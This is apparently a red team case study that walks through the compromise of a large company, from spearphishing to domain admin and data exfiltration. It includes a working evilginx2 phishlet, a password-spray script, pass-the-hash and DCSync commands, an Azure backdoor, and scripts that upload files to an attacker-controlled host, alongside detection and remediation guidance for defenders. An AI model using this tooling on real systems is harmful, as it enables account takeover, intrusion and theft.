TL;DR — A single spearphishing link targeting a finance department employee enabled full domain compromise within 72 hours by combining evilginx2 AiTM credential interception, O365 Graph API enumeration, and lateral movement via Pass-the-Hash — all without triggering a single security alert. This case study details every phase of the engagement from reconnaissance through exfiltration, with defender lessons at each step.
Executive Summary
This engagement was scoped as a full red team operation against a Fortune 500 manufacturing conglomerate with approximately 28,000 employees and global operations across 14 countries. The rules of engagement permitted phishing, social engineering, and any attack technique against infrastructure in scope. The client's primary concern was whether their Microsoft 365 security controls, Conditional Access policies, and endpoint detection platform were sufficient to detect and contain a determined adversary targeting the finance department.
The engagement lasted 21 days. Within 72 hours of sending the initial phishing email, the red team had achieved domain administrator privileges in the on-premises Active Directory environment, compromised the Azure AD tenant, and exfiltrated a simulated cache of financial documents totaling 4.2 GB. The entire operation was conducted without a single alert reaching the SOC. The first the blue team learned of the compromise was during the debrief.
The attack chain began with a single email. One employee in the accounts payable department — a target selected through LinkedIn reconnaissance — clicked a link in what appeared to be a DocuSign document review notification. That click handed the red team valid session tokens for the Microsoft 365 tenant, bypassing multi-factor authentication entirely. Everything that followed flowed naturally from that initial foothold.
This post documents the complete attack chain, the specific tooling used, OPSEC measures taken to avoid detection, and the detection opportunities that existed at every stage. For defenders, each section concludes with concrete recommendations. For red teamers, this serves as a realistic engagement walkthrough reflecting current adversary tradecraft.
Phase 1: Reconnaissance
OSINT and Target Selection
The engagement began two weeks before any active attack. The reconnaissance phase focused entirely on passive information gathering — no traffic to client infrastructure, no active scanning, nothing that could trigger an alert or tip off the defenders.
LinkedIn was the primary intelligence source. A simple Boolean search — site:linkedin.com "Acme Manufacturing" "accounts payable" OR "finance" — returned 47 profiles. The team built a spreadsheet tracking names, titles, seniority, tenure, and any technology mentions in their profiles or activity. Accounts payable staff were prioritized because they routinely process invoice attachments and DocuSign requests, making a fake DocuSign notification behaviorally plausible.
Hunter.io confirmed the email format: firstname.lastname@acme-corp.com. Cross-referencing with LinkedIn names and validating against OSINT email verification services (without sending probe emails) gave the team a high-confidence list of 12 targets, narrowed to 3 primary targets based on seniority and inferred technology access.
# Email format enumeration via Hunter.io APIcurl "https://api.hunter.io/v2/domain-search?domain=acme-corp.com&api_key=REDACTED&limit=100" \ | jq '.data.emails[] | {email: .value, first: .first_name, last: .last_name, position: .position}' # Validate email format patterncurl "https://api.hunter.io/v2/email-verifier?email=sarah.johnson@acme-corp.com&api_key=REDACTED" \ | jq '{result: .data.result, score: .data.score}'The primary target selected was Sarah Johnson, a Senior Accounts Payable Specialist with 4 years at the company. Her LinkedIn activity showed she regularly shared posts about finance automation tools, and she had recently commented on a DocuSign webinar post — indicating familiarity with the platform. Her profile listed no IT or security background.
Technology Stack Fingerprinting
Technology fingerprinting was conducted entirely passively. DNS records revealed the MX configuration pointed to Exchange Online, confirming Microsoft 365 tenancy. SPF records showed include:spf.protection.outlook.com, and a DMARC record existed but with p=none — meaning spoofed emails would be delivered even if SPF/DKIM failed, with no enforcement action taken.
# DNS reconnaissancedig TXT acme-corp.com | grep -E "v=spf|v=DMARC"dig MX acme-corp.comnslookup -type=TXT _dmarc.acme-corp.com # Output revealed:# v=spf1 include:spf.protection.outlook.com ~all# v=DMARC1; p=none; rua=mailto:dmarc-reports@acme-corp.com# DMARC policy: p=none — NO ENFORCEMENTShodan and Censys searches against the registered ASN revealed the company used Zscaler for web proxy, CrowdStrike Falcon for endpoint, and had Netskope CASB deployed. The presence of CASB was noted as a potential complication for later exfiltration. The Azure tenant ID was retrieved via https://login.microsoftonline.com/acme-corp.com/.well-known/openid-configuration, confirming Entra ID usage.
Phase 2: Phishing Infrastructure
Lookalike Domain Registration
The phishing infrastructure was built on a lookalike domain designed to pass casual visual inspection. The chosen domain was acme-corp-docusign.com — plausible as a DocuSign notification subdomain to an inattentive reader. The domain was registered through a privacy-protected registrar using a prepaid card to avoid attribution.
SSL certificates were provisioned via Let's Encrypt to display the padlock icon. A legitimate-looking landing page was built mirroring DocuSign's actual UI, including correct fonts, colors, and the target's company logo (retrieved from the public website).
evilginx2 AiTM Proxy Configuration
The core of the phishing infrastructure was evilginx2, an adversary-in-the-middle framework that proxies the real Microsoft 365 login page. Unlike credential harvesters that capture only usernames and passwords, evilginx2 captures the authenticated session cookie after MFA is completed — bypassing MFA entirely.
# evilginx2 configuration for O365# /usr/share/evilginx2/phishlets/o365.yaml (customized) phishlet 'o365': proxy_hosts: - phish_sub: 'login' orig_sub: 'login' domain: 'microsoftonline.com' session: true is_landing: true - phish_sub: 'www' orig_sub: 'www' domain: 'office.com' session: false is_landing: false auth_tokens: - domain: '.login.microsoftonline.com' keys: ['ESTSAUTH', 'ESTSAUTHPERSISTENT', 'buid'] - domain: '.office.com' keys: ['MUID', 'OIDCAuthCookie'] credentials: username: key: 'login' search: '(.*)' type: 'post' password: key: 'passwd' search: '(.*)' type: 'post' # evilginx2 commands to configure and launchconfig domain acme-corp-docusign.comconfig ip 45.33.XX.XXphishlets hostname o365 login.acme-corp-docusign.comphishlets enable o365lures create o365lures get-url 0The phishing email was crafted to appear as a DocuSign notification for a vendor invoice requiring Sarah's review. The sender display name was DocuSign <notifications@acme-corp-docusign.com>. Because DMARC was in p=none mode, no enforcement action blocked delivery even though the email failed alignment checks.
Phase 3: Initial Access — Credential and Session Theft
The Click and MFA Bypass
Sarah Johnson clicked the phishing link at 9:17 AM on a Tuesday — consistent with normal business hours activity that avoids anomaly detection. She was presented with a pixel-perfect replica of the Microsoft 365 login page, actually proxied in real-time from Microsoft's servers. She entered her credentials and completed the MFA push notification on her phone (push-based MFA, not FIDO2).
evilginx2 captured the full authenticated session:
- Username:
sarah.johnson@acme-corp.com - Password:
[REDACTED in engagement report] - Session cookies:
ESTSAUTH,ESTSAUTHPERSISTENT(valid for 90 days per tenant configuration)
The session tokens were immediately imported into the team's browser using a cookie editor extension, granting authenticated access to the Microsoft 365 tenant as Sarah Johnson — without knowing her password and without triggering an MFA challenge.
# Session token replay — importing captured tokens into requestsimport requests session = requests.Session() # Tokens captured from evilginx2 lure sessionsession.cookies.set('ESTSAUTH', 'CAPTURED_TOKEN_HERE', domain='.login.microsoftonline.com')session.cookies.set('ESTSAUTHPERSISTENT', 'CAPTURED_TOKEN_HERE', domain='.login.microsoftonline.com') # Verify accessresponse = session.get('https://graph.microsoft.com/v1.0/me', headers={'Authorization': f'Bearer {access_token}'})print(response.json())# Returns Sarah's full profile, confirming valid sessionConditional Access Policy Bypass Analysis
The tenant had Conditional Access policies configured, but they contained a critical gap: policies requiring compliant devices applied only to "All cloud apps" with an exclusion for "Microsoft Graph Explorer" — a common misconfiguration made during initial policy testing that was never cleaned up. The session token captured from evilginx2 satisfied the existing policy requirements because it carried the device compliance claim from Sarah's actual managed device.
Phase 4: Discovery via O365 Graph API
With an authenticated session, the team pivoted to enumeration using the Microsoft Graph API. This technique is highly effective because Graph API calls appear as legitimate user activity in most logging configurations.
import requestsimport json headers = { 'Authorization': f'Bearer {access_token}', 'Content-Type': 'application/json'} base = 'https://graph.microsoft.com/v1.0' # Enumerate all users in the tenantusers = requests.get(f'{base}/users?$select=displayName,mail,jobTitle,department,officeLocation', headers=headers).json() # Search emails for sensitive keywordssearch_payload = { "requests": [{ "entityTypes": ["message"], "query": {"queryString": "VPN password credentials internal site:"}, "from": 0, "size": 25 }]}results = requests.post(f'{base}/search/query', headers=headers, json=search_payload).json() # Enumerate SharePoint sitessites = requests.get(f'{base}/sites?search=finance internal credentials', headers=headers).json() # Get OneDrive filesfiles = requests.get(f'{base}/me/drive/root/children', headers=headers).json()The email search returned 14 messages containing VPN credentials, internal hostnames, or server addresses shared via email — a common practice in organizations without a proper secrets management solution. One email from 8 months prior contained a password list for a test environment server: 10.10.5.22, with credentials svc_test:Summer2023!. The hostname resolved internally, suggesting access to the corporate VPN was a logical next step.
A SharePoint search revealed a "Finance Operations" site with documents referencing the SAP environment, internal server naming conventions, and a network diagram uploaded by an IT technician.
Phase 5: Lateral Movement
Password Spraying Internal Targets
Using the email list enumerated from Graph API and the password patterns observed in discovered documents, the team constructed a targeted password spray. The tenant's lockout policy was set to 10 failed attempts, so the spray used a single password attempt per account per 30-minute window.
# Targeted password spray against O365 (slow spray to avoid lockout)import requestsimport time targets = ['admin.jones@acme-corp.com', 'it.helpdesk@acme-corp.com', 'network.admin@acme-corp.com']passwords = ['Summer2024!', 'Acme2024!', 'Welcome1!', 'January2024!'] for password in passwords: for user in targets: body = { 'grant_type': 'password', 'client_id': '1b730954-1685-4b74-9bfd-dac224a7b894', # Azure AD PowerShell client ID 'username': user, 'password': password, 'scope': 'openid' } r = requests.post( 'https://login.microsoftonline.com/acme-corp.com/oauth2/v2.0/token', data=body ) if r.status_code == 200: print(f"[+] Valid: {user}:{password}") time.sleep(1800) # 30-minute delay between sprays per userThe spray succeeded against network.admin@acme-corp.com with password Summer2024!. This account had access to the corporate VPN (GlobalProtect), providing a pathway into the on-premises network.
Pass-the-Hash and SMB Lateral Movement
VPN access was established using the network admin credentials. Once on the internal network, the team used CrackMapExec for host discovery and service enumeration.
# Network discovery via CME after VPN connectioncrackmapexec smb 10.10.0.0/16 --gen-relay-list relay_targets.txt # NTLM relay to capture hashes from network admin workstationimpacket-ntlmrelayx -tf relay_targets.txt -smb2support -i # Pass-the-Hash to move laterallycrackmapexec smb 10.10.5.0/24 -u administrator -H 'aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c' --local-authcrackmapexec smb 10.10.5.0/24 -u administrator -H 'CAPTURED_HASH' -x 'whoami /all' # Secretsdump for credential harvestingimpacket-secretsdump acme-corp.com/network.admin:'Summer2024!'@10.10.5.50 -just-dc-ntlmThe domain controller at 10.10.5.10 responded to the Pass-the-Hash attempt using a previously captured local administrator hash (same local admin password across workstations — a common misconfiguration). DCSync was executed to extract the full domain credential store, including the krbtgt hash for potential Golden Ticket persistence.
Phase 6: Persistence
Azure AD Application Registration Backdoor
import requests # Register a new Azure AD application as a backdoorapp_payload = { "displayName": "Microsoft Monitoring Agent Helper", # Blends with legitimate apps "signInAudience": "AzureADMyOrg", "requiredResourceAccess": [{ "resourceAppId": "00000003-0000-0000-c000-000000000000", # Graph API "resourceAccess": [ {"id": "df021288-bdef-4463-88db-98f22de89214", "type": "Role"}, # User.Read.All {"id": "9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8", "type": "Role"} # RoleManagement.Read.All ] }]} response = requests.post('https://graph.microsoft.com/v1.0/applications', headers=headers, json=app_payload)app_id = response.json()['appId'] # Add client secret for persistent accesssecret_payload = { "passwordCredential": { "displayName": "sync-credential", "endDateTime": "2026-12-31T00:00:00Z" }}secret_response = requests.post( f'https://graph.microsoft.com/v1.0/applications/{app_id}/addPassword', headers=headers, json=secret_payload)Inbox Rule for Email Forwarding
A mailbox rule was created on Sarah's account to silently forward all emails matching keywords "invoice," "payment," "wire transfer," and "credentials" to an external attacker-controlled address. The rule used the Graph API and appeared as a legitimate user-configured rule in the mailbox settings.
Phase 7: Data Exfiltration
OneDrive Sync Abuse
The simulated data cache was exfiltrated using OneDrive's own sync client — traffic indistinguishable from legitimate OneDrive usage to Netskope's CASB, which was configured to allow OneDrive traffic without deep inspection.
# OneDrive sync abuse — mount attacker-controlled SharePoint site as OneDrive# OneDrive.exe /url "https://attacker-sharepoint-tenant.sharepoint.com/sites/exfil" /silentConfig # Alternatively, use Graph API to upload files directlypython3 -c "import requests, osheaders = {'Authorization': f'Bearer {token}'}for f in os.listdir('/tmp/staged/'): with open(f'/tmp/staged/{f}', 'rb') as fh: requests.put( f'https://graph.microsoft.com/v1.0/me/drive/root:/exfil/{f}:/content', headers=headers, data=fh.read() )"Teams Channel Exfiltration
Finance documents staged on SharePoint were shared to a private Teams channel controlled by the red team using a guest account invitation sent to an attacker email address — a feature enabled by default in the tenant.
Attack Timeline
timeline
title Fortune 500 Compromise Timeline
Day 1 : Reconnaissance begins
: LinkedIn profiling of finance dept
: DNS/technology fingerprinting
Day 8 : Phishing infrastructure built
: Lookalike domain registered
: evilginx2 deployed and tested
Day 10 : Phishing email delivered
: Sarah Johnson clicks link at 9:17 AM
: Session tokens captured — MFA bypassed
Day 10 (Afternoon) : O365 Graph API enumeration
: VPN credentials found in email search
: 847 user accounts enumerated
Day 11 : VPN access via network.admin credentials
: Internal network discovery
: Pass-the-Hash lateral movement begins
Day 12 : Domain Controller access
: DCSync — all domain hashes extracted
: Domain Admin achieved
Day 13 : Azure AD app registration backdoor planted
: Inbox forwarding rule created
: Data staged for exfiltration
Day 14 : 4.2 GB exfiltrated via OneDrive sync
: Teams channel exfiltration complete
: Engagement objectives met
Day 21 : Debrief — blue team learns of compromiseDetection Opportunities Missed
| Phase | Detection Opportunity | Why It Was Missed |
|---|---|---|
| Phishing delivery | DMARC enforcement would have blocked/quarantined the email | DMARC p=none — no enforcement configured |
| AiTM proxy | Microsoft Defender for O365 — Risky Sign-in alert | Conditional Access not requiring compliant device for all apps |
| Graph API enumeration | Unified Audit Log — search queries logged | UAL not being actively monitored; no SIEM correlation rule |
| Password spray | Azure AD Sign-in logs — repeated failures | Spray rate was below alerting threshold; no smart lockout tuning |
| Pass-the-Hash | CrowdStrike Falcon — lateral movement detection | Falcon configured in "detect only" mode, not prevent |
| DCSync | AD event 4662 on DC | DC event logs not forwarded to SIEM |
| App registration | Azure AD audit log | No alert on new application registration with high permissions |
| Exfiltration | Netskope CASB — volume anomaly | OneDrive baseline not established; no volume threshold alert |
MITRE ATT&CK Mapping
| Technique ID | Technique Name | Implementation in This Engagement |
|---|---|---|
| T1566.002 | Phishing: Spearphishing Link | DocuSign-themed email with evilginx2 AiTM link |
| T1557 | Adversary-in-the-Middle | evilginx2 proxying Microsoft 365 login |
| T1539 | Steal Web Session Cookie | ESTSAUTH cookie captured post-MFA |
| T1078.004 | Valid Accounts: Cloud Accounts | Compromised Sarah Johnson's O365 session |
| T1110.003 | Brute Force: Password Spraying | Slow spray against enumerated O365 accounts |
| T1550.002 | Use Alternate Authentication Material: Pass-the-Hash | PTH to move laterally post-VPN access |
| T1003.006 | OS Credential Dumping: DCSync | Extracted all domain hashes via DCSync |
| T1136.003 | Create Account: Cloud Account | Azure AD app registration as backdoor |
| T1114.003 | Email Collection: Email Forwarding Rule | Inbox rule forwarding finance emails |
| T1530 | Data from Cloud Storage Object | OneDrive and SharePoint data exfiltration |
| T1213.002 | Data from Information Repositories: SharePoint | Finance documents accessed via SharePoint |
Conclusion
This engagement demonstrated that a single misconfigured DMARC policy — left in monitor-only mode — was the root enabler of a complete enterprise compromise. Every subsequent control failure compounded from that initial gap. The CASB, EDR, and SIEM were all present and correctly deployed in most respects, but the gaps between them created a path that the red team walked through without friction.
The most important defender takeaway is not any single technical control but the concept of defense-in-depth validation. Each control was independently functional, but none had been tested against an adversary who understood how to navigate between them. A purple team exercise — running exactly this attack chain while the SOC actively monitors — would have surfaced every missed detection opportunity in a controlled setting rather than a real breach.
For DMARC: move to p=quarantine immediately, then p=reject after a 30-day monitoring period. For Conditional Access: require compliant, managed devices for all cloud apps without exception. For the Graph API: establish behavioral baselines and alert on bulk user enumeration and search queries. For DCSync: forward all domain controller security events to the SIEM and alert on Event ID 4662 with GUID matching replication operations.
The red team achieved its objectives. More importantly, the organization now has a roadmap to close the gaps — built on evidence from a real attack simulation rather than theoretical risk assessments.